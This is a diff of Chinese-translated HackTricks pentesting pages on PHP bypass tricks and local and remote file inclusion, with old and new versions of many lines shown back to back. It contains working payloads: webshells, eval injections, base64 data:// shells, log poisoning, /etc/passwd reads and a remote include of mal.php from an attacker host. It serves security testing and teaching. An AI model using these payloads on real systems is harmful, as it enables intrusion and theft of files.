{{#include ../../../banners/hacktricks-training.md}}
## Cookies common location:
这同样适用于 phpMyAdmin cookies。
@ -29,16 +28,18 @@ PHP 比较表： [https://www.php.net/manual/en/types.comparisons.php](https://w
![](<../../../images/image (567).png>)
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
{{#file}}
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` 一个不以数字开头的字符串等于一个数字
- `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较，如果数字相同则结果为 True（字符串中的数字被解释为数字）
- `"0e3264578" == 0 --> True` 一个以 "0e" 开头并后跟任何内容的字符串将等于 0
- `"0X3264578" == 0X --> True` 一个以 "0" 开头并后跟任何字母（X 可以是任何字母）和后跟任何内容的字符串将等于 0
- `"0e12334" == "0" --> True` 这非常有趣，因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此，如果你可以提供一个值，该值将创建一个以 "0e" 开头且没有任何字母的哈希，你可以绕过比较。你可以在这里找到 **已经哈希的字符串**： [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0e12334" == "0" --> True` 这非常有趣，因为在某些情况下，你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此，如果你可以提供一个值，该值将创建一个以 "0e" 开头且没有任何字母的哈希，你可以绕过比较。你可以在这里找到 **已经哈希的字符串**： [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 字符串中的任何字母等于 int 0
更多信息请参见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
更多信息请见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in_array()**
@ -52,14 +53,14 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
如果此函数用于**任何身份验证检查**（例如检查密码），并且用户控制比较的一侧，他可以发送一个空数组而不是字符串作为密码的值（`https://example.com/login.php/?username=admin&password[]=`），从而绕过此检查：
如果此函数用于 **任何身份验证检查**（例如检查密码），并且用户控制比较的一侧，他可以发送一个空数组而不是字符串作为密码的值（`https://example.com/login.php/?username=admin&password[]=`），从而绕过此检查：
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
相同的错误发生在 `strcasecmp()`
同样的错误发生在 `strcasecmp()`
### 严格类型转换
@ -69,11 +70,11 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
```
### preg_match(/^.\*/)
**`preg_match()`** 可以用来 **验证用户输入**（它 **检查** 是否有任何 **单词/正则表达式** 在 **黑名单** 中 **出现在** 用户输入中，如果没有，代码可以继续执行）。
**`preg_match()`** 可用于 **验证用户输入**（它 **检查** 是否有任何 **单词/正则表达式** 在 **黑名单** 中 **出现在** **用户输入** 中，如果没有，代码可以继续执行）。
#### New line bypass
然而，当限定正则表达式的开始时，`preg_match()` **只检查用户输入的第一行**，因此如果你能够以 **多行** 发送输入，你可能能够绕过这个检查。示例：
然而，当限定正则表达式的开始时，`preg_match()` **仅检查用户输入的第一行**，因此如果你能够以 **多行** 发送输入，你可能能够绕过此检查。示例：
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -86,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
要绕过此检查，您可以**使用新行进行 URL 编码的值**（`%0A`）发送，或者如果您可以发送**JSON 数据**，则将其分成**多行**发送：
要绕过此检查，您可以**使用 URL 编码发送带有换行符的值**（`%0A`），或者如果您可以发送**JSON 数据**，则将其分成**多行**发送：
```php
{
"cmd": "cat /etc/passwd"
@ -105,14 +106,14 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
#### ReDoS 绕过
技巧来源于: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong)
技巧来源: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong)
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
简而言之，问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中，某些正则表达式通过大量递归调用进行匹配，这会消耗大量的栈空间。可以设置允许的递归次数限制，但在 PHP 中，这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)，这超过了栈的容量。
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接，深入讨论了这个问题。我们的任务现在很明确：\
**发送一个输入，使正则表达式进行 100_000+ 次递归，导致 SIGSEGV，使得 `preg_match()` 函数返回 `false`，从而使应用程序认为我们的输入不是恶意的，在有效负载的最后抛出一个类似 `{system(<verybadcommand>)}` 的惊喜以获得 SSTI --> RCE --> flag :)**。
**发送一个输入，使正则表达式进行 100_000+ 次递归，导致 SIGSEGV，使得 `preg_match()` 函数返回 `false`，从而使应用程序认为我们的输入不是恶意的，在有效负载的最后抛出一个惊喜，例如 `{system(<verybadcommand>)}` 以获得 SSTI --> RCE --> flag :)**。
好吧，从正则表达式的角度来看，我们实际上并不是在进行 100k 次“递归”，而是在计算“回溯步骤”，正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述，它在 `pcre.backtrack_limit` 变量中默认为 1_000_000（1M）。\
要达到这个，`'X'*500_001` 将导致 100 万个回溯步骤（50万向前和50万向后）：
@ -132,7 +133,7 @@ $obfs += ""; //int 7
```
## Execute After Redirect (EAR)
如果 PHP 正在重定向到另一个页面，但在设置头部 `Location` 之后没有调用 **`die`** 或 **`exit`** 函数，PHP 将继续执行并将数据附加到主体：
如果 PHP 在重定向到另一个页面后没有调用 **`die`** 或 **`exit`** 函数，且在设置了头部 `Location` 后，PHP 将继续执行并将数据附加到主体：
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -161,7 +162,7 @@ readfile($page);
### password_hash/password_verify
这些函数通常在 PHP 中用于 **从密码生成哈希** 并 **检查** 密码是否与哈希匹配。\
支持的算法有：`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`（以 `$2y$` 开头）。请注意，**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前，**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此，当你尝试用此算法对大于 72 字节的内容进行哈希时，仅会使用前 72B：
支持的算法有：`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`（以 `$2y$` 开头）。请注意，**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前，**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此，当你尝试用该算法对大于 72 字节的内容进行哈希时，仅会使用前 72B：
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -181,7 +182,7 @@ True
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### 填充主体后设置头部
#### 在设置头部之前填充主体
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**，用户可以使 PHP 服务器打印出一些 **足够长的内容**，以至于当它尝试 **将头部添加** 到响应中时，服务器会抛出错误。\
在以下场景中，**攻击者使服务器抛出了一些大错误**，正如您在屏幕上看到的，当 PHP 尝试 **修改头部信息时，它无法**（例如 CSP 头部没有发送给用户）：
@ -209,10 +210,10 @@ php-ssrf.md
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
要在“replace”参数中执行代码，至少需要一个匹配项。\
此preg_replace选项在PHP 5.5.0中已被**弃用**。
要执行“replace”参数中的代码，至少需要一个匹配项。\
此选项在 PHP 5.5.0 中已被**弃用**。
### **通过Eval()进行RCE**
### **通过 Eval() 进行 RCE**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
@ -227,7 +228,7 @@ preg_replace("/a/e","phpinfo()","whatever")
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
您需要**破坏**代码**语法**，**添加**您的**有效载荷**，然后**再修复它**。您可以使用**逻辑运算**，例如“**and**”或“%26%26”或“|”。请注意，“or”和“||”不起作用，因为如果第一个条件为真，我们的有效载荷将不会被执行。同样，“;”也不起作用，因为我们的有效载荷不会被执行。
您需要**破坏**代码**语法**，**添加**您的**有效载荷**，然后**再修复它**。您可以使用**逻辑运算**，例如“**and"或"%26%26"或"|"**。请注意，“or”，“||”不起作用，因为如果第一个条件为真，我们的有效载荷将不会被执行。同样，“;”也不起作用，因为我们的有效载荷不会被执行。
**另一个选项**是将命令的执行添加到字符串中：`'.highlight_file('.passwd').'`
@ -272,18 +273,18 @@ usort();}phpinfo;#, "cmp");
### 通过环境变量进行 RCE
如果您发现一个漏洞，允许您 **修改 PHP 中的环境变量**（还有另一个漏洞可以上传文件，尽管经过更多研究可能可以绕过），您可以利用这种行为来获得 **RCE**。
如果您发现一个漏洞，允许您 **修改 PHP 中的环境变量**（还有另一个漏洞可以上传文件，尽管经过更多研究可能可以绕过），您可以利用这种行为来获取 **RCE**。
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path)：此环境变量允许您在执行其他二进制文件时加载任意库（尽管在这种情况下可能不起作用）。
- **`PHPRC`**：指示 PHP **在哪里查找其配置文件**，通常称为 `php.ini`。如果您可以上传自己的配置文件，则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目，指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码，然后由 PHP 运行时执行**，在任何其他代码之前。
1. 上传一个包含我们的 shellcode 的 PHP 文件
2. 上传第二个文件，包含 **`auto_prepend_file`** 指令，指示 PHP 预处理器执行我们在步骤 1 中上传的文件
2. 上传第二个文件，包含一个 **`auto_prepend_file`** 指令，指示 PHP 预处理器执行我们在步骤 1 中上传的文件
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。
- 获取更多关于如何执行此链的信息 [**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
- **PHPRC** - 另一个选项
- 如果您 **无法上传文件**，您可以在 FreeBSD 中使用 "file" `/dev/fd/0`，它包含 **`stdin`**，即发送到 `stdin` 的请求的 **主体**：
- 如果您 **无法上传文件**，您可以在 FreeBSD 中使用 "file" `/dev/fd/0`，它包含 **`stdin`**，即发送到 `stdin` 的请求 **主体**：
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- 或者要获得 RCE，启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件：
- 或者要获取 RCE，启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件：
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- 技术 [**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。
@ -310,7 +311,7 @@ phpinfo();
```
## PHP Sanitization bypass & Brain Fuck
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成脑残 PHP 代码的好主意，允许的字符非常少。\
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成一个脑残 PHP 代码的好主意，允许的字符非常少。\
此外，还提出了一种有趣的方法来执行函数，使他们能够绕过多个检查：
```php
(1)->{system($_GET[chr(97)])}
@ -365,7 +366,7 @@ php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **异或**
### **XOR**
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
@ -410,7 +411,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### 类似 Perl
### Perl 类似
```php
<?php
$_=[];

62
src/pentesting-web/file-inclusion/README.md
View File

@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **空字节 (%00)**
绕过在提供的字符串末尾附加更多字符（绕过：$\_GET\['param']."php")
绕过在提供的字符串末尾附加更多字符的限制（绕过：$\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -90,7 +90,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **探测文件夹：** 将可疑文件夹的名称（例如，`private`）附加到 URL，然后导航回 `/etc/passwd`。额外的目录级别需要将深度增加一个：
2. **探测文件夹：** 将怀疑的文件夹名称（例如，`private`）附加到 URL，然后返回到 `/etc/passwd`。额外的目录级别需要将深度增加一个：
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -99,7 +99,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
- **`/etc/passwd` 的内容：** 确认存在 `private` 文件夹。
4. **递归探索：** 发现的文件夹可以使用相同的技术或传统的本地文件包含 (LFI) 方法进一步探测子目录或文件。
要在文件系统的不同位置探索目录，请相应地调整有效载荷。例如，要检查 `/var/www/` 是否包含 `private` 目录（假设当前目录深度为 3），请使用：
要在文件系统的不同位置探索目录，请相应调整有效载荷。例如，要检查 `/var/www/` 是否包含 `private` 目录（假设当前目录深度为 3），请使用：
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -129,7 +129,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
- **确定所需的遍历次数**：通过反复试验，可以找到导航到根目录然后到`/etc/passwd`所需的精确`../`序列数量，确保任何附加的字符串（如`.php`）被中和，但所需的路径（`/etc/passwd`）保持不变。
- **从虚假目录开始**：通常的做法是以一个不存在的目录（如`a/`）开始路径。这种技术作为预防措施或满足服务器路径解析逻辑的要求。
在使用路径截断技术时，了解服务器的路径解析行为和文件系统结构至关重要。每种场景可能需要不同的方法，通常需要测试以找到最有效的方式。
在使用路径截断技术时，了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法，通常需要测试以找到最有效的方式。
**此漏洞在PHP 5.3中已被修复。**
@ -143,12 +143,12 @@ http://example.com/index.php?page=PhP://filter
```
## 远程文件包含
在php中，这默认是禁用的，因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作，在这种情况下，你可以从你的服务器包含一个PHP文件并获得RCE：
在 php 中，这默认是禁用的，因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作，在这种情况下，你可以从你的服务器包含一个 PHP 文件并获得 RCE：
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
如果由于某种原因 **`allow_url_include`** 是 **开启** 的，但 PHP 正在 **过滤** 对外部网页的访问，[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)，你可以使用例如数据协议与 base64 来解码 b64 PHP 代码并获得 RCE：
如果由于某种原因 **`allow_url_include`** 是 **开启** 的，但 PHP 正在 **过滤** 对外部网页的访问，[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)，你可以使用例如数据协议和 base64 来解码一个 b64 PHP 代码并获得 RCE：
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
@ -166,7 +166,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
如果用户传递一个 **绝对路径** 给 **`file_name`**，那么 **之前的路径将被移除**：
如果用户传递一个 **absolute path** 给 **`file_name`**，那么 **previous path 就会被移除**：
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
@ -181,7 +181,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
## 前25个参数
以下是可能受到本地文件包含（LFI）漏洞影响的前25个参数列表（来自[链接](https://twitter.com/trbughunters/status/1279768631845494787)）：
以下是可能容易受到本地文件包含（LFI）漏洞影响的前25个参数列表（来自[链接](https://twitter.com/trbughunters/status/1279768631845494787)）：
```
?cat={payload}
?dir={payload}
@ -229,7 +229,7 @@ PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码列表**，请在控制台中运行：`iconv -l`
> [!WARNING]
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**，这可能对写入任意文本或使函数如 include 处理任意文本有用。有关更多信息，请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**，这可能对编写任意文本或使函数如包含过程处理任意文本有用。有关更多信息，请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 压缩内容（在提取大量信息时很有用）
@ -273,19 +273,19 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### 使用 php 过滤器作为 oracle 读取任意文件
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于 **使用 php 过滤器作为 oracle 的文件布尔外泄（逐字符）**。这是因为 php 过滤器可以用来使文本变得足够大，从而使 php 抛出异常。
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于 **使用 php 过滤器作为 oracle 的布尔外泄文件（逐字符）**。这是因为 php 过滤器可以用来使文本变得足够大，从而使 php 抛出异常。
在原始文章中可以找到该技术的详细解释，但这里是一个快速总结：
- 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头，并使字符串的大小呈指数级增长。
- 这将用于生成一个 **当初始字母正确猜测时变得如此庞大的文本**，以至于 php 会触发一个 **错误**。
- **dechunk** 过滤器将 **删除所有内容，如果第一个字符不是十六进制**，因此我们可以知道第一个字符是否是十六进制。
- 这与前一个（以及根据猜测字母的其他过滤器）结合，将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制，dechunk 不会删除它，初始炸弹将使 php 出错。
- 这与前一个（以及根据猜测字母的其他过滤器）结合，将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制，dechunk 不会删除它，初始炸弹将导致 php 错误。
- 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母（因此在此编码后：a -> b）。这使我们能够发现第一个字母是否是 `a`，例如，因为如果我们应用 6 次此编码 a->b->c->d->e->f->g，该字母不再是十六进制字符，因此 dechunk 不会删除它，php 错误被触发，因为它与初始炸弹相乘。
- 使用其他转换如 **rot13** 在开头可以泄露其他字符如 n, o, p, q, r（其他编码可以用于将其他字母移动到十六进制范围）。
- 在开头使用其他转换如 **rot13** 可以泄露其他字符如 n, o, p, q, r（其他编码可以用于将其他字母移动到十六进制范围）。
- 当初始字符是数字时，需要对其进行 base64 编码并泄露前两个字母以泄露该数字。
- 最后一个问题是 **如何泄露超过初始字母**。通过使用顺序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序，并在文本的首位获取其他字母。
- 为了能够获取 **更多数据**，想法是 **在开头生成 2 字节的垃圾数据**，使用 **convert.iconv.UTF16.UTF16**，应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**，并 **删除数据直到垃圾数据**（这将删除初始文本的前 2 字节）。继续这样做，直到达到所需的位以泄露。
- 为了能够获取 **更多数据**，想法是 **在开头生成 2 字节的垃圾数据**，使用 **convert.iconv.UTF16.UTF16**，应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**，并 **删除数据直到垃圾数据**（这将删除初始文本的前 2 字节）。继续这样做，直到达到所需的泄露位。
在文章中还泄露了一种自动执行此操作的工具：[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
一个 `.phar` 文件可以在网络应用程序利用 `include` 等函数进行文件加载时执行 PHP 代码。下面提供的 PHP 代码片段演示了如何创建一个 `.phar` 文件：
一个 `.phar` 文件可以在 web 应用程序利用 `include` 等函数进行文件加载时执行 PHP 代码。下面提供的 PHP 代码片段演示了如何创建一个 `.phar` 文件：
```php
<?php
$phar = new Phar('test.phar');
@ -358,7 +358,7 @@ php --define phar.readonly=0 create_path.php
```
执行后，将创建一个名为 `test.phar` 的文件，这可能会被利用来利用本地文件包含（LFI）漏洞。
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下，通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数，可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件有关。
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下，通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数，可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件相关。
有关在 `.phar` 文件上下文中利用反序列化漏洞的详细理解，请参阅下面链接的文档：
@ -383,7 +383,7 @@ phar-deserialization.md
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URL
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URL
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名（不返回任何可打印内容，因此在这里并不实用）
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名（它不返回任何可打印的内容，因此在这里并不真正有用）
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — 安全外壳 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流（不适合读取任意文件）
@ -403,20 +403,20 @@ assert("strpos('$file', '..') === false") or die("");
```plaintext
' and die(system("id")) or '
```
重要的是要**对这些有效载荷进行URL编码**。
重要的是要**对这些有效负载进行URL编码**。
## PHP盲路径遍历
> [!WARNING]
> 这种技术在您**控制**一个**PHP函数**的**文件路径**并且该函数将**访问一个文件**但您看不到文件内容的情况下是相关的（例如简单调用**`file()`**）但内容不会显示。
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历来**通过错误oracle提取文件内容**。
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历以**通过错误oracle提取文件内容**。
总之，该技术使用**"UCS-4LE"编码**使文件内容变得如此**庞大**以至于**打开**该文件的**PHP函数**将触发一个**错误**。
然后，为了泄露第一个字符，过滤器**`dechunk`**与其他过滤器如**base64**或**rot13**一起使用，最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**来**在开头放置其他字符并泄露它们**。
**可能存在漏洞的函数**：`file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (仅限目标只读)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**可能存在漏洞的函数**：`file_get_contents`，`readfile`，`finfo->file`，`getimagesize`，`md5_file`，`sha1_file`，`hash_file`，`file`，`parse_ini_file`，`copy`，`file_put_contents (仅限目标只读)`，`stream_get_contents`，`fgets`，`fread`，`fgetc`，`fgetcsv`，`fpassthru`，`fputs`
有关技术细节，请查看上述文章！
@ -431,11 +431,11 @@ assert("strpos('$file', '..') === false") or die("");
如果Apache或Nginx服务器在包含函数内部**易受LFI攻击**，您可以尝试访问**`/var/log/apache2/access.log`或`/var/log/nginx/access.log`**，在**用户代理**或**GET参数**中设置一个php shell，如**`<?php system($_GET['c']); ?>`**并包含该文件。
> [!WARNING]
> 请注意，如果您为shell使用双引号而不是**单引号**，双引号将被修改为字符串"_**quote;**_"，**PHP将在那里抛出一个错误**，并且**不会执行其他任何内容**。
> 请注意，**如果您使用双引号**而不是**单引号**来编写shell，双引号将被修改为字符串"_**quote;**_"，**PHP将在那里抛出一个错误**，并且**不会执行其他任何内容**。
>
> 此外，请确保**正确编写有效载荷**，否则每次PHP尝试加载日志文件时都会出错，您将没有第二次机会。
> 此外，请确保您**正确编写有效负载**，否则每次PHP尝试加载日志文件时都会出错，您将没有第二次机会。
这也可以在其他日志中完成，但**请小心，**日志中的代码可能会被URL编码，这可能会破坏Shell。头部**授权 "basic"**包含"用户:密码"的Base64编码，并在日志中解码。PHPShell可以插入到该头部中。\
这也可以在其他日志中完成，但**请小心，**日志中的代码可能会被URL编码，这可能会破坏Shell。头部**授权 "basic"**包含"用户:密码"的Base64编码，并在日志中解码。PHPShell可以插入到此头部中。\
其他可能的日志路径：
```python
/var/log/apache2/access.log
@ -456,7 +456,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### 通过 /proc/\*/fd/\*
1. 上传大量的 shell（例如：100）
1. 上传大量 shell（例如：100）
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)，其中 $PID = 进程的 PID（可以暴力破解），$FD 是文件描述符（也可以暴力破解）
### 通过 /proc/self/environ
@ -504,7 +504,7 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
如果 ssh 处于活动状态，请检查正在使用的用户（/proc/self/status & /etc/passwd），并尝试访问 **\<HOME>/.ssh/id_rsa**
### 通过 vsftpd _**日志**_
### **通过** **vsftpd** _**日志**_
FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地文件包含（LFI）漏洞的情况下，并且可以访问暴露的 vsftpd 服务器，可以考虑以下步骤：
@ -513,15 +513,15 @@ FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地
### 通过 php base64 过滤器（使用 base64）
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示，PHP base64 过滤器会忽略非 base64。您可以利用这一点绕过文件扩展名检查：如果您提供以 ".php" 结尾的 base64，它会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例：
正如在 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章中所示，PHP base64 过滤器只会忽略非 base64。您可以利用这一点绕过文件扩展名检查：如果您提供以 ".php" 结尾的 base64，它只会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例：
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### 通过 php 过滤器（无需文件）
### 通过 php 过滤器（不需要文件）
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意 php 代码** 进行包含 **而无需将其写入** 文件。
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意的 php 代码** 进行包含 **而不需要将其写入** 文件。
{{#ref}}
lfi2rce-via-php-filters.md
@ -529,7 +529,7 @@ lfi2rce-via-php-filters.md
### 通过段错误
**上传** 一个将被存储为 **临时** 文件在 `/tmp`，然后在 **同一请求中**，触发 **段错误**，然后 **临时文件不会被删除**，你可以搜索它。
